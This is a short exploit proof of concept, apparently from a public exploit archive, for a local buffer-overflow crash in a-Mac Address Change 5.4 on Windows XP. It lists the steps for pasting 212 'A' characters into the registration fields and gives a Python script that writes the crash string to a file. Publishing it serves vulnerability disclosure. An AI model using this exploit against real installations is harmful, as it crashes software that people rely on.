# Exploit Title: a-Mac Address Change v5.4 - Denial of Service (PoC)# Discovery by: Rafael Pedrero# Discovery Date: 2019-01-30# Vendor Homepage: http://amac.paqtool.com/# Software Link : http://amac.paqtool.com/# Tested Version: 5.4# Tested on: Windows XP SP3# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow# Steps to Produce the Crash:# 1.- Run amac.exe# 2.- copy content amac_Crash.txt or 212 "A" to clipboard (result from this python script)# 3.- Go to Register - Amac Register Form and paste the result in all fields: "Your Name", "Your Company", "Register Code"# 4.- Click in Register button and you will see a crash.#!/usr/bin/env python
crash = "\x41"* 212
f = open ("amac_Crash.txt","w")
f.write(crash)
f.close()